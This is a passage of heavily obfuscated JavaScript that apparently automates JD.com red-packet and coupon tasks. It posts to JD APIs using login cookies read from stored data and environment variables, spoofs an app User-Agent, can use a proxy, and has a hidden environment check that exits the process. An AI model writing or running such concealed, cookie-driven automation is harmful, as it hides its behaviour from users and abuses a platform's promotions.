Promise(_0x2f2f57=>{if(_0x2682ae[_0x5c3d('1d4','wc[h')](_0x2682ae['GSsrS'],_0x2682ae[_0x5c3d('1d5','SI!Z')])){$['post'](_0x2682ae['nmAsw'](taskUrl,arguments['callee'][_0x5c3d('1d6','4%Cg')][_0x5c3d('1d7','o7vD')](),_0x574b60),(_0x167487,_0x312813,_0x574b60)=>{if(_0x2682ae[_0x5c3d('1d8','7De#')]===_0x2682ae[_0x5c3d('1d9','Ykax')]){try{if(_0x2682ae[_0x5c3d('1da','qi!x')](_0x2682ae['znQly'],_0x2682ae['ejnGm'])){if(_0x167487){console[_0x5c3d('80','qt1B')]('\x0a'+$[_0x5c3d('1db',']loZ')]+_0x5c3d('1dc','dECe'));console[_0x5c3d('22','I($f')](JSON[_0x5c3d('1aa','qi!x')](_0x167487));}else{_0x574b60=JSON[_0x5c3d('1dd','s%P1')](_0x574b60);}}else{if(_0x167487){console['log']('\x0a'+$[_0x5c3d('1de','sEZ[')]+':\x20API查询请求失败\x20‼️‼️');console['log'](JSON[_0x5c3d('7f','DI]G')](_0x167487));}else{if(_0x2682ae[_0x5c3d('1df','sEZ[')](_0x2682ae[_0x5c3d('1e0','Vm#Z')],_0x2682ae[_0x5c3d('1e1','96*f')])){_0x574b60=JSON[_0x5c3d('1e2','Vm#Z')](_0x574b60);}else{$[_0x5c3d('1e3','m0Q1')]();}}}}catch(_0x3f13d7){if(_0x2682ae['vXznd']('OnggA',_0x2682ae['QEckC'])){console[_0x5c3d('4f','4%Cg')](_0x5c3d('1e4','Ykax')+JSON[_0x5c3d('1ce','96*f')](_0x574b60));}else{$[_0x5c3d('1e5','XpI[')](_0x3f13d7,_0x312813);}}finally{if(_0x5c3d('1e6','m)@n')!==_0x5c3d('1e7','(S7p')){_0x2682ae[_0x5c3d('1e8','4%Cg')](_0x2f2f57,_0x574b60);}else{console['log']('['+item[_0x5c3d('f6','GR%&')]+']\x20已经领取奖励');}}}else{console[_0x5c3d('1e9','qi!x')]('\x0a'+$[_0x5c3d('1ea','KKA&')]+':\x20API查询请求失败\x20‼️‼️');console['log'](JSON[_0x5c3d('1eb','s2t@')](_0x167487));}});}else{if(_0x574b60){if(type==='1'&&functionId===_0x5c3d('1ec','lR53'))console['log'](_0x5c3d('1ed','DI]G')+_0x574b60);}}});}function taskReportForColor(_0x2f201d,_0x19e657){var _0x425c25={'PQDxe':function(_0x22e30f,_0x402b42){return _0x22e30f!==_0x402b42;},'nxSUq':'BTdPn','xjOHG':function(_0x30f742,_0x5987c6){return _0x30f742===_0x5987c6;},'IdYkm':_0x5c3d('1ee','1xX6'),'BHsvy':function(_0x48c0f1,_0x2883bb){return _0x48c0f1!==_0x2883bb;},'fNhbD':_0x5c3d('9d','@YZ@'),'TLfnj':'data','zVZan':'packetSum','hOFqU':_0x5c3d('1ef','afg['),'byDFX':_0x5c3d('1f0','4%Cg'),'RHfJb':function(_0x1ff966,_0x3bbb99,_0x2f88e2){return _0x1ff966(_0x3bbb99,_0x2f88e2);},'tlqAz':_0x5c3d('1f1','Ykax'),'TTfnO':function(_0x40d24d,_0x201347){return _0x40d24d+_0x201347;},'rssvc':function(_0x170cec,_0x3a628c){return _0x170cec+_0x3a628c;}};const _0x1e84f5={'taskType':_0x2f201d,'detailId':_0x19e657};_0x1e84f5[_0x425c25[_0x5c3d('1f2','KKA&')]]=$[_0x5c3d('1f3','OghG')]($[_0x5c3d('1f4','fCgc')](_0x425c25['TTfnO'](_0x425c25[_0x5c3d('1f5','oaTe')]('j',JSON['stringify'](_0x1e84f5)),'D')));return new Promise(_0x58dd7b=>{var _0x59e4e9={'DOxRl':_0x425c25[_0x5c3d('1f6','piza')],'JEvZq':_0x425c25[_0x5c3d('1f7','1xX6')],'KMfLp':_0x425c25['zVZan']};if(_0x425c25['hOFqU']!==_0x425c25[_0x5c3d('1f8','s%P1')]){$[_0x5c3d('1f9','p4$W')](_0x425c25['RHfJb'](taskUrl,arguments[_0x5c3d('1fa','Jnb7')][_0x5c3d('1fb','m0Q1')][_0x5c3d('1fc','QeIx')](),_0x1e84f5),(_0x99f409,_0x27df77,_0x1e84f5)=>{var _0x237957={'FMYKk':function(_0x3f983b,_0x41de54){return _0x3f983b(_0x41de54);}};if(_0x425c25[_0x5c3d('1fd','QeIx')](_0x5c3d('1fe','qi!x'),_0x425c25[_0x5c3d('1ff','inWv')])){if(_0x99f409){console['log']('\x0a'+$[_0x5c3d('200','DI]G')]+_0x5c3d('201','Ykax'));console[_0x5c3d('202','Vm#Z')](JSON[_0x5c3d('1aa','qi!x')](_0x99f409));}else{_0x1e84f5=JSON[_0x5c3d('203','oaTe')](_0x1e84f5);if(_0x1e84f5[_0x5c3d('10f','SI!Z')][_0x5c3d('204','KKA&')]&&_0x1e84f5[_0x5c3d('205','@YZ@')]['biz_code']===0x0){console[_0x5c3d('206','afg[')](_0x5c3d('207','n@nG')+_0x1e84f5[_0x5c3d('84','m0Q1')][_0x5c3d('92','$lyO')][_0x5c3d('208','s%P1')]+'元\x0a');$[_0x5c3d('209','piza')]+=_0x237957[_0x5c3d('20a','pqb(')](Number,_0x1e84f5[_0x5c3d('20b','wc[h')][_0x5c3d('20c','J(]D')][_0x5c3d('20d',')4(@')]);}}}else{try{if(_0x99f409){if(_0x425c25[_0x5c3d('20e','RJ[D')](_0x425c25[_0x5c3d('20f','(S7p')],'RVLzD')){console[_0x5c3d('210','P3j6')]('\x0a'+$[_0x5c3d('211','SI!Z')]+_0x5c3d('1a9','afg['));console[_0x5c3d('a7','GR%&')](JSON[_0x5c3d('174','P3j6')](_0x99f409));}else{_0x1e84f5=JSON[_0x5c3d('1ab','fCgc')](_0x1e84f5);$[_0x5c3d('121','qi!x')]=_0x1e84f5;$[_0x5c3d('183','m)@n')]=0x0;if($['h5activityIndex']&&$[_0x5c3d('212','GR%&')][_0x5c3d('d3','n@nG')]&&$[_0x5c3d('213','n@nG')]['data'][_0x59e4e9[_0x5c3d('214','f$@p')]]){const _0x3da410=$[_0x5c3d('215','SI!Z')][_0x59e4e9[_0x5c3d('216','afg[')]][_0x59e4e9[_0x5c3d('217','qi!x')]][_0x5c3d('218','Vm#Z')]||[];for(let _0x2632df of _0x3da410){$['discount']+=_0x2632df[_0x59e4e9['KMfLp']];}if($[_0x5c3d('219','sEZ[')])$[_0x5c3d('183','m)@n')]=$[_0x5c3d('21a','J(]D')][_0x5c3d('21b','Ykax')](0x2);}}}else{if(_0x425c25['BHsvy'](_0x5c3d('21c','KKA&'),_0x5c3d('21d','I($f'))){_0x1e84f5=JSON['parse'](_0x1e84f5);}else{$[_0x5c3d('21e','piza')](e,_0x27df77);}}}catch(_0x35fc23){$['logErr'](_0x35fc23,_0x27df77);}finally{_0x58dd7b(_0x1e84f5);}}});}else{console[_0x5c3d('1cc',')4(@')]('红包领取成功,获得'+_0x1e84f5['data'][_0x5c3d('13b',')4(@')][_0x5c3d('21f','Jnb7')]+'元\x0a');$['discount']+=Number(_0x1e84f5['data'][_0x5c3d('105','Ykax')][_0x5c3d('220','afg[')]);}});}function receiveTaskRedpacket(_0x271e7d){var _0x278eaf={'vvpvO':_0x5c3d('221','s2t@'),'MksOD':function(_0x5cc27c,_0x4aea3d){return _0x5cc27c!==_0x4aea3d;},'oglIs':_0x5c3d('222','lR53'),'FWaej':function(_0x3b4ea5,_0x1cb55f){return _0x3b4ea5===_0x1cb55f;},'CaHuF':_0x5c3d('223','inWv'),'RQOWc':_0x5c3d('224','$lyO'),'ZqlPN':function(_0x4b5687,_0x588fe7,_0x3987b2){return _0x4b5687(_0x588fe7,_0x3987b2);}};const _0x25a45c={'clientInfo':{},'taskType':_0x271e7d};return new Promise(_0x1aef5d=>{var _0x294ead={'cVaeT':_0x5c3d('10f','SI!Z'),'blhWi':_0x278eaf[_0x5c3d('225','m)@n')],'kDcTQ':function(_0x269890,_0x55eb24){return _0x278eaf[_0x5c3d('226','DI]G')](_0x269890,_0x55eb24);},'tJmAJ':_0x5c3d('227','p4$W'),'kwmCv':_0x278eaf[_0x5c3d('228','SI!Z')],'tlBXJ':function(_0x1a6257,_0x532118){return _0x278eaf['FWaej'](_0x1a6257,_0x532118);},'oJdli':_0x278eaf['CaHuF'],'PYYgz':_0x278eaf[_0x5c3d('229',']G5@')],'lVEuQ':function(_0x1eaa31,_0x400761){return _0x278eaf['FWaej'](_0x1eaa31,_0x400761);},'aGNla':_0x5c3d('22a','$[C2'),'Jvtzi':_0x5c3d('22b','wc[h'),'gqYTT':function(_0x103840,_0x2cf19e){return _0x103840(_0x2cf19e);}};$[_0x5c3d('22c','GR%&')](_0x278eaf[_0x5c3d('22d','afg[')](taskUrl,arguments['callee']['name'][_0x5c3d('22e','qi!x')](),_0x25a45c),(_0x1da607,_0x16fc0c,_0x51b3e3)=>{var _0x496324={'vENpk':_0x294ead[_0x5c3d('22f','$lyO')],'eXkGV':_0x294ead[_0x5c3d('230','I($f')]};if(_0x294ead[_0x5c3d('231',')4(@')](_0x294ead[_0x5c3d('232','m0Q1')],_0x294ead['kwmCv'])){try{if(_0x1da607){if(_0x294ead['tlBXJ'](_0x294ead[_0x5c3d('233','I($f')],_0x294ead[_0x5c3d('234','SI!Z')])){console[_0x5c3d('a7','GR%&')](''+JSON[_0x5c3d('235','pqb(')](_0x1da607));console[_0x5c3d('1a7','m0Q1')]($[_0x5c3d('236','J(]D')]+_0x5c3d('237','s2t@'));}else{console[_0x5c3d('f0','dECe')]('\x0a'+$[_0x5c3d('238',')4(@')]+_0x5c3d('1dc','dECe'));console['log'](JSON[_0x5c3d('239','m)@n')](_0x1da607));}}else{_0x51b3e3=JSON[_0x5c3d('23a','XpI[')](_0x51b3e3);if(_0x51b3e3[_0x5c3d('23b','96*f')][_0x5c3d('23c','o7vD')]&&_0x294ead[_0x5c3d('23d','QeIx')](_0x51b3e3['data']['biz_code'],0x0)){if(_0x294ead[_0x5c3d('23e','P3j6')]!==_0x294ead[_0x5c3d('23f','7De#')]){console[_0x5c3d('240','sEZ[')](_0x5c3d('241','GR%&')+_0x51b3e3[_0x5c3d('242','NJq]')][_0x5c3d('13b',')4(@')][_0x5c3d('243','dECe')]+'元\x0a');$['discount']+=Number(_0x51b3e3[_0x5c3d('d6','s%P1')]['result']['discount']);}else{console[_0x5c3d('210','P3j6')]('\x0a\x0a发起助力红包\x20失败:'+_0x51b3e3[_0x496324[_0x5c3d('244','dECe')]][_0x5c3d('245','s%P1')][_0x496324['eXkGV']]);}}}}catch(_0x3b76f5){$['logErr'](_0x3b76f5,_0x16fc0c);}finally{_0x294ead['gqYTT'](_0x1aef5d,_0x51b3e3);}}else{console[_0x5c3d('246','p4$W')](_0x5c3d('247','afg[')+JSON[_0x5c3d('248','QeIx')]($['taskHomePageData'])+'\x0a');}});});}function jinli_h5assist(_0x538d51){var _0xb3d0e2={'GtVBH':function(_0x192f86,_0x2f0bdd){return _0x192f86===_0x2f0bdd;},'GBHvr':_0x5c3d('249','J(]D'),'ApSGa':function(_0x1be415){return _0x1be415();},'pHqxW':_0x5c3d('24a','o7vD'),'RvLMM':function(_0x58fd52,_0x38fbfd){return _0x58fd52!==_0x38fbfd;},'MCvnP':_0x5c3d('24b','m)@n'),'tDRyw':_0x5c3d('24c','o7vD'),'olCrt':_0x5c3d('24d','1xX6'),'bbuLZ':'status','XqREb':_0x5c3d('24e','qi!x'),'lvgns':function(_0x416c93,_0x7a4fb3,_0x223887){return _0x416c93(_0x7a4fb3,_0x223887);}};const _0x2314c6={'clientInfo':{},'redPacketId':_0x538d51,'followShop':0x0,'promUserState':''};const _0x324215=_0xb3d0e2[_0x5c3d('24f','qi!x')](taskUrl,arguments['callee'][_0x5c3d('250','o7vD')]['toString'](),_0x2314c6);return new Promise(_0x5e4722=>{var _0x3ca517={'jrEgT':function(_0x417d33){return _0xb3d0e2['ApSGa'](_0x417d33);},'otQKR':'CookieJD2','fUOOO':_0x5c3d('251','#g!5'),'IkoDZ':_0xb3d0e2[_0x5c3d('252','8ye]')],'udbxu':function(_0x239451,_0x129eac){return _0xb3d0e2[_0x5c3d('253','m)@n')](_0x239451,_0x129eac);},'tgIQE':_0xb3d0e2[_0x5c3d('254','inWv')],'KjMSK':function(_0x2c876a,_0x572de4){return _0xb3d0e2[_0x5c3d('255','wc[h')](_0x2c876a,_0x572de4);},'LAQyg':'KZRhZ','RmbgS':function(_0x29e566,_0x3bd110){return _0x29e566===_0x3bd110;},'UvmqM':_0xb3d0e2['tDRyw'],'TlKTI':'data','McDmb':_0x5c3d('256','(S7p'),'dpHFI':_0xb3d0e2[_0x5c3d('257','(S7p')],'iQTqR':_0xb3d0e2[_0x5c3d('258','#g!5')],'UJShO':_0x5c3d('259','Ykax'),'fxkjF':function(_0x25b09f){return _0x25b09f();}};if(_0xb3d0e2[_0x5c3d('25a','GR%&')]('Axbfp',_0xb3d0e2[_0x5c3d('25b','4%Cg')])){$[_0x5c3d('25c','$[C2')](_0x324215,(_0x8fddbf,_0x418387,_0x143ac0)=>{var _0x3a16d4={'OTVIZ':_0x3ca517[_0x5c3d('25d','inWv')],'FeoWl':_0x3ca517[_0x5c3d('25e','s2t@')]};try{if(_0x3ca517[_0x5c3d('25f','QeIx')]!==_0x3ca517[_0x5c3d('260','DI]G')]){_0x3ca517['jrEgT'](_0x5e4722);}else{if(_0x8fddbf){if(_0x3ca517[_0x5c3d('261','OghG')](_0x5c3d('262','Ykax'),_0x3ca517[_0x5c3d('263',']G5@')])){$[_0x5c3d('264','KKA&')](e,_0x418387);}else{console[_0x5c3d('246','p4$W')]('\x0a'+$['name']+':\x20API查询请求失败\x20‼️‼️');console['log'](JSON[_0x5c3d('a9','7De#')](_0x8fddbf));}}else{if(_0x3ca517['KjMSK'](_0x5c3d('265','P3j6'),_0x3ca517[_0x5c3d('266','pqb(')])){cookiesArr=[$['getdata']('CookieJD'),$[_0x5c3d('c','RJ[D')](_0x3a16d4['OTVIZ']),...jsonParse($[_0x5c3d('267','(S7p')](_0x3a16d4[_0x5c3d('268','4%Cg')])||'[]')[_0x5c3d('269','GR%&')](_0x5dd5bf=>_0x5dd5bf['cookie'])][_0x5c3d('26a','p4$W')](_0x437f9c=>!!_0x437f9c);}else{_0x143ac0=JSON[_0x5c3d('26b','I($f')](_0x143ac0);if(_0x143ac0&&_0x143ac0[_0x5c3d('26c','RJ[D')]&&_0x3ca517[_0x5c3d('26d','96*f')](_0x143ac0['data'][_0x3ca517['UvmqM']],0x0)){console[_0x5c3d('246','p4$W')](_0x5c3d('26e','qt1B')+_0x143ac0[_0x3ca517[_0x5c3d('26f','96*f')]][_0x3ca517[_0x5c3d('270','DI]G')]][_0x3ca517[_0x5c3d('271','1xX6')]]);if(_0x143ac0[_0x3ca517[_0x5c3d('272','J(]D')]][_0x3ca517[_0x5c3d('273','8ye]')]][_0x3ca517[_0x5c3d('274','DI]G')]]===0x3)$[_0x5c3d('4e','p4$W')]=![];if(_0x3ca517['RmbgS'](_0x143ac0['data'][_0x3ca517[_0x5c3d('275','o%Hs')]]['status'],0x9))$[_0x5c3d('276',']loZ')]=![];}else{console[_0x5c3d('277','s%P1')](_0x5c3d('278','RJ[D')+JSON[_0x5c3d('279','afg[')](_0x143ac0));}}}}}catch(_0x2694df){if(_0x3ca517[_0x5c3d('27a','KKA&')](_0x5c3d('27b',']loZ'),_0x3ca517['UJShO'])){console[_0x5c3d('202','Vm#Z')]('\x0a'+$[_0x5c3d('27c','7De#')]+_0x5c3d('27d','DI]G'));console[_0x5c3d('246','p4$W')](JSON[_0x5c3d('27e','o7vD')](_0x8fddbf));}else{$[_0x5c3d('27f','n@nG')](_0x2694df,_0x418387);}}finally{_0x3ca517[_0x5c3d('280','oaTe')](_0x5e4722);}});}else{if(type==='1'&&_0xb3d0e2['GtVBH'](functionId,_0xb3d0e2[_0x5c3d('281','n@nG')]))console[_0x5c3d('80','qt1B')]('京东首页点击“领券”逛10s任务:'+data);}});}function h5receiveRedpacket(_0x5f4c06){var _0x57afad={'TfHNy':_0x5c3d('282','DI]G'),'tygiq':_0x5c3d('283','sEZ['),'xDOUv':function(_0x5db70b,_0x24df3c){return _0x5db70b===_0x24df3c;},'rZQVU':_0x5c3d('284',']loZ'),'lrKHT':_0x5c3d('285','piza'),'YIoks':_0x5c3d('d3','n@nG'),'IhVGR':_0x5c3d('286','f$@p'),'gPwJq':function(_0x28c411,_0x49a35b){return _0x28c411!==_0x49a35b;},'ykVma':_0x5c3d('287','#g!5'),'SOAlQ':_0x5c3d('288','NJq]'),'CUQVp':function(_0x5eceaa,_0x29db57){return _0x5eceaa(_0x29db57);},'JKsBh':_0x5c3d('289','7De#'),'PgROV':function(_0x33e47e,_0x19f5ac){return _0x33e47e+_0x19f5ac;},'LvQCZ':function(_0x49c7b7,_0x225ba0,_0x1da602){return _0x49c7b7(_0x225ba0,_0x1da602);}};const _0x3b7254={'redPacketId':_0x5f4c06};_0x3b7254[_0x5c3d('1f1','Ykax')]=$[_0x5c3d('28a','7De#')]($[_0x5c3d('28b','P3j6')](_0x57afad[_0x5c3d('28c','fCgc')]('j',JSON[_0x5c3d('28d','I($f')](_0x3b7254))+'D'));const _0x2ec437=_0x57afad[_0x5c3d('28e','sEZ[')](taskUrl,arguments[_0x5c3d('28f','wc[h')][_0x5c3d('1ea','KKA&')][_0x5c3d('290','fCgc')](),_0x3b7254);return new Promise(_0xa03e44=>{var _0x4a1f39={'WRCdy':function(_0x552a02,_0x18d261){return _0x57afad[_0x5c3d('291','RJ[D')](_0x552a02,_0x18d261);},'RNMPb':_0x57afad['JKsBh'],'wMAoM':function(_0x2240b1,_0x3a6c56){return _0x2240b1*_0x3a6c56;}};$[_0x5c3d('292','I($f')](_0x2ec437,(_0x3ef482,_0x554b2c,_0x3b7254)=>{var _0x10cd55={'BHYXw':_0x57afad[_0x5c3d('293','Vm#Z')],'cwTpi':'https://bean.m.jd.com/bean/signIndex.action','ZeqnL':_0x57afad['tygiq']};try{if(_0x57afad[_0x5c3d('294','KKA&')](_0x5c3d('295','piza'),_0x5c3d('296','qi!x'))){$[_0x5c3d('297','(S7p')]($[_0x5c3d('298','Vm#Z')],_0x10cd55[_0x5c3d('299','J(]D')],_0x10cd55[_0x5c3d('29a','8ye]')],{'open-url':_0x10cd55['cwTpi']});return;}else{if(_0x3ef482){console[_0x5c3d('29b','8ye]')]('\x0a'+$['name']+_0x5c3d('29c','$lyO'));console[_0x5c3d('a2','m)@n')](JSON[_0x5c3d('29d',')4(@')](_0x3ef482));}else{if(_0x57afad[_0x5c3d('29e','$[C2')]===_0x57afad[_0x5c3d('29f','pqb(')]){_0x3b7254=JSON['parse'](_0x3b7254);if(_0x3b7254&&_0x3b7254[_0x5c3d('2a0','QeIx')]&&_0x57afad[_0x5c3d('2a1','96*f')](_0x3b7254[_0x5c3d('122','dECe')][_0x57afad[_0x5c3d('2a2','fCgc')]],0x0)){console[_0x5c3d('47','o7vD')](_0x5c3d('2a3','qi!x')+_0x3b7254[_0x57afad['YIoks']][_0x5c3d('17c','1xX6')][_0x57afad[_0x5c3d('2a4','I($f')]]+'元');}else{if(_0x57afad[_0x5c3d('2a5','OghG')](_0x57afad['ykVma'],_0x57afad['SOAlQ'])){console[_0x5c3d('2a6','o%Hs')](_0x5c3d('2a7','sEZ[')+JSON[_0x5c3d('2a8','lR53')](_0x3b7254));}else{const _0x5999b0=_0x4a1f39[_0x5c3d('2a9','lR53')](require,_0x4a1f39[_0x5c3d('2aa','dECe')]);const _0x5b0a6e={'https':_0x5999b0['httpsOverHttp']({'proxy':{'host':process[_0x5c3d('2ab','QeIx')][_0x5c3d('2ac','1xX6')],'port':_0x4a1f39[_0x5c3d('2ad','s2t@')](process['env'][_0x5c3d('2ae','SI!Z')],0x1)}})};Object[_0x5c3d('2af','NJq]')](_0x2ec437,{'agent':_0x5b0a6e});}}}else{console[_0x5c3d('2b0','XpI[')]('\x0a'+$[_0x5c3d('2b1','p4$W')]['data'][_0x10cd55[_0x5c3d('2b2','lR53')]]+'\x0a');}}}}catch(_0x409930){$[_0x5c3d('2b3','#g!5')](_0x409930,_0x554b2c);}finally{_0x57afad['CUQVp'](_0xa03e44,_0x3b7254);}});});}function h5launch(){var _0x8f78f1={'AmSrm':function(_0x440a00,_0x25fa3a){return _0x440a00===_0x25fa3a;},'kRHNh':'pwjAu','GlGal':'biz_code','jbEyY':_0x5c3d('20b','wc[h'),'xNdNj':_0x5c3d('2b4','SI!Z'),'OefvD':_0x5c3d('2b5','QeIx'),'gcEhY':_0x5c3d('2b6','fCgc'),'Hdfcb':function(_0x1bf02f,_0x598634){return _0x1bf02f!==_0x598634;},'QLWlL':_0x5c3d('2b7','wc[h'),'lpUUt':'pLRSX','aZJTi':'gjTgV','fCwAC':function(_0x31aedd,_0x2f4f4b){return _0x31aedd(_0x2f4f4b);},'tFmbN':_0x5c3d('2b8','J(]D'),'aswdy':_0x5c3d('2b9','p4$W'),'rQGKg':'gzip,\x20deflate,\x20br','gwKrQ':function(_0x1b9725,_0x56ba65){return _0x1b9725(_0x56ba65);},'jKwuN':_0x5c3d('2ba','J(]D'),'ccBNM':_0x5c3d('2bb','I($f'),'OlzqI':function(_0x7340ad,_0x2fc039,_0x283caa){return _0x7340ad(_0x2fc039,_0x283caa);}};const _0x19d3bc={'clientInfo':{},'followShop':0x0,'promUserState':''};const _0x1367bf=_0x8f78f1[_0x5c3d('2bc','pqb(')](taskUrl,arguments[_0x5c3d('2bd','P3j6')][_0x5c3d('298','Vm#Z')][_0x5c3d('1a5','7De#')](),_0x19d3bc);return new Promise(_0x1a5a6b=>{var _0x1dec42={'xlKGP':_0x8f78f1['tFmbN'],'VwwTz':_0x5c3d('2be','SI!Z'),'AiXuw':_0x8f78f1['aswdy'],'xAAtt':_0x8f78f1[_0x5c3d('2bf','lR53')],'FuSvq':_0x5c3d('2c0','afg['),'orAXH':function(_0x513fd8,_0xa61046){return _0x8f78f1[_0x5c3d('2c1','NJq]')](_0x513fd8,_0xa61046);},'yVepL':_0x8f78f1[_0x5c3d('2c2','1xX6')],'Yimsh':_0x8f78f1[_0x5c3d('2c3','qi!x')]};$['post'](_0x1367bf,(_0x2fefe9,_0x4be56c,_0xad8b82)=>{try{if(_0x2fefe9){console[_0x5c3d('2c4','f$@p')]('\x0a'+$[_0x5c3d('2c5','OghG')]+_0x5c3d('2c6','QeIx'));console[_0x5c3d('2c7','NJq]')](JSON[_0x5c3d('1a2','NJq]')](_0x2fefe9));}else{if(_0x8f78f1[_0x5c3d('2c8','NJq]')](_0x8f78f1[_0x5c3d('2c9','SI!Z')],_0x8f78f1[_0x5c3d('2ca','NJq]')])){_0xad8b82=JSON['parse'](_0xad8b82);if(_0xad8b82&&_0xad8b82[_0x5c3d('117','qt1B')]&&_0x8f78f1[_0x5c3d('2cb','KKA&')](_0xad8b82[_0x5c3d('2a0','QeIx')][_0x8f78f1[_0x5c3d('2cc','XpI[')]],0x0)){if(_0xad8b82[_0x8f78f1['jbEyY']][_0x8f78f1['xNdNj']][_0x8f78f1[_0x5c3d('2cd','Vm#Z')]]){console['log'](_0x5c3d('2ce','m)@n')+_0xad8b82[_0x8f78f1[_0x5c3d('2cf','o7vD')]]['result'][_0x8f78f1[_0x5c3d('2d0','sEZ[')]]);$[_0x5c3d('2d1','Vm#Z')]['push'](_0xad8b82[_0x8f78f1[_0x5c3d('2d2','pqb(')]][_0x8f78f1[_0x5c3d('2d3','s2t@')]][_0x8f78f1[_0x5c3d('2d4','GR%&')]]);}else{console['log'](_0x5c3d('2d5','RJ[D')+_0xad8b82[_0x8f78f1[_0x5c3d('2d6','QeIx')]][_0x5c3d('2d7','s2t@')][_0x8f78f1['gcEhY']]);}}else{if(_0x8f78f1[_0x5c3d('2d8','s2t@')](_0x8f78f1[_0x5c3d('2d9','Ykax')],_0x8f78f1[_0x5c3d('2da','o%Hs')])){console['log'](_0x5c3d('2db','Jnb7')+JSON[_0x5c3d('2dc','Ykax')](_0xad8b82));}else{_0x1a5a6b(_0xad8b82);}}}else{$[_0x5c3d('2dd','wc[h')](e,_0x4be56c);}}}catch(_0x152115){$['logErr'](_0x152115,_0x4be56c);}finally{if('gjTgV'!==_0x8f78f1['aZJTi']){return{'url':JD_API_HOST+_0x5c3d('2de','I($f')+function_id+'&loginType=2&client=jd_mp_h5&t='+new Date()[_0x5c3d('2df','p4$W')]()*0x3e8,'body':_0x5c3d('2e0','n@nG')+JSON[_0x5c3d('1cb','(S7p')](_0x19d3bc),'headers':{'Host':_0x1dec42[_0x5c3d('2e1','XpI[')],'Content-Type':_0x1dec42[_0x5c3d('2e2','piza')],'Origin':_0x1dec42[_0x5c3d('2e3','sEZ[')],'Accept-Encoding':_0x1dec42[_0x5c3d('2e4','Vm#Z')],'Cookie':cookie,'Connection':_0x1dec42[_0x5c3d('2e5','s%P1')],'Accept':'*/*','User-Agent':$['isNode']()?process['env'][_0x5c3d('2e6','Ykax')]?process['env'][_0x5c3d('2e6','Ykax')]:_0x1dec42['orAXH'](require,_0x5c3d('2e7','KKA&'))[_0x5c3d('2e8','#g!5')]:$['getdata'](_0x5c3d('2e9','96*f'))?$[_0x5c3d('2ea','p4$W')]('JDUA'):'jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0\x20(iPhone;\x20CPU\x20iPhone\x20OS\x2014_3\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/15E148;supportJDSHWK/1','Referer':_0x1dec42[_0x5c3d('2eb','inWv')],'Content-Length':'36','Accept-Language':_0x1dec42[_0x5c3d('2ec','s%P1')]}};}else{_0x8f78f1[_0x5c3d('2ed','96*f')](_0x1a5a6b,_0xad8b82);}}});});}function h5activityIndex(){var _0x162440={'CvXJp':_0x5c3d('2a0','QeIx'),'ShfDj':'statusDesc','voxfX':function(_0x5b4a3b,_0xb95871){return _0x5b4a3b===_0xb95871;},'BMEIR':'status','DXfXi':function(_0x145a86,_0x1f6f9b){return _0x145a86!==_0x1f6f9b;},'kPvwm':'vzgRf','OdJxR':_0x5c3d('2ee','QeIx'),'jkreg':function(_0x23254a,_0x5943e2){return _0x23254a===_0x5943e2;},'wZunv':'pemmx','IkUWK':_0x5c3d('2ef',']loZ'),'qbhsg':'AAHYX','aOmMF':_0x5c3d('20c','J(]D'),'bsMVx':function(_0x381aac){return _0x381aac();},'YDYes':function(_0xa2e9c0,_0x3a6812){return _0xa2e9c0===_0x3a6812;},'afyHp':function(_0x5c9b56,_0x597a0f){return _0x5c9b56>_0x597a0f;},'YaHWH':_0x5c3d('2f0',')4(@'),'MkWKS':function(_0x4f1eb6,_0x4d23ea){return _0x4f1eb6(_0x4d23ea);},'Pyeni':function(_0x7be5c3,_0x19104d,_0x35b100){return _0x7be5c3(_0x19104d,_0x35b100);}};const _0x1ae3a2={'clientInfo':{},'isjdapp':0x1};const _0x275296=_0x162440[_0x5c3d('2f1','lR53')](taskUrl,arguments[_0x5c3d('2f2','sEZ[')]['name'][_0x5c3d('22e','qi!x')](),_0x1ae3a2);return new Promise(_0x4fdd05=>{var _0x5728d6={'GuVTO':function(_0x54bf5f,_0x524d8c){return _0x162440[_0x5c3d('2f3','1xX6')](_0x54bf5f,_0x524d8c);},'mUgjV':function(_0x46793e,_0x301d17){return _0x162440[_0x5c3d('2f4','o7vD')](_0x46793e,_0x301d17);},'NABnq':_0x162440[_0x5c3d('2f5','inWv')],'veUQB':function(_0x150697,_0x2e0a84){return _0x162440['MkWKS'](_0x150697,_0x2e0a84);}};$['post'](_0x275296,async(_0x99ed74,_0x4c2cfe,_0x1dd6a5)=>{var _0x5b01ff={'fqYLF':_0x162440[_0x5c3d('2f6','qi!x')],'CreDx':_0x5c3d('2f7','7De#'),'ANjyW':_0x162440['ShfDj'],'XPhld':function(_0x4ee67a,_0x523e3c){return _0x162440[_0x5c3d('2f8','pqb(')](_0x4ee67a,_0x523e3c);},'wyxBX':_0x162440[_0x5c3d('2f9',']loZ')]};if(_0x162440[_0x5c3d('2fa','oaTe')](_0x162440[_0x5c3d('2fb','piza')],_0x162440[_0x5c3d('2fc','NJq]')])){Object[_0x5c3d('2fd',']loZ')](jdCookieNode)['forEach'](_0x3c1564=>{cookiesArr[_0x5c3d('2fe','8ye]')](jdCookieNode[_0x3c1564]);});if(process['env']['JD_DEBUG']&&_0x5728d6[_0x5c3d('2ff','RJ[D')](process[_0x5c3d('300','f$@p')][_0x5c3d('301','f$@p')],_0x5c3d('302','qi!x')))console[_0x5c3d('1e9','qi!x')]=()=>{};if(_0x5728d6[_0x5c3d('303','m0Q1')](JSON[_0x5c3d('304','#g!5')](process[_0x5c3d('305','1xX6')])[_0x5c3d('306','Ykax')](_0x5728d6[_0x5c3d('307','p4$W')]),-0x1))process[_0x5c3d('308','P3j6')](0x0);}else{try{if(_0x162440[_0x5c3d('309','f$@p')](_0x5c3d('30a',')4(@'),_0x162440[_0x5c3d('30b',')4(@')])){_0x5728d6[_0x5c3d('30c','lR53')](_0x4fdd05,_0x1dd6a5);}else{if(_0x99ed74){if(_0x162440[_0x5c3d('30d','$[C2')](_0x162440[_0x5c3d('30e','Jnb7')],_0x162440['IkUWK'])){$[_0x5c3d('30f','sEZ[')](e,_0x4c2cfe);}else{console['log']('\x0a'+$['name']+':\x20API查询请求失败\x20‼️‼️');console['log'](JSON[_0x5c3d('310','inWv')](_0x99ed74));}}else{if(_0x162440[_0x5c3d('311','NJq]')](_0x162440[_0x5c3d('312',')4(@')],_0x162440['qbhsg'])){_0x1dd6a5=JSON['parse'](_0x1dd6a5);$[_0x5c3d('313','s%P1')]=_0x1dd6a5;$['discount']=0x0;if($[_0x5c3d('314','8ye]')]&&$[_0x5c3d('212','GR%&')][_0x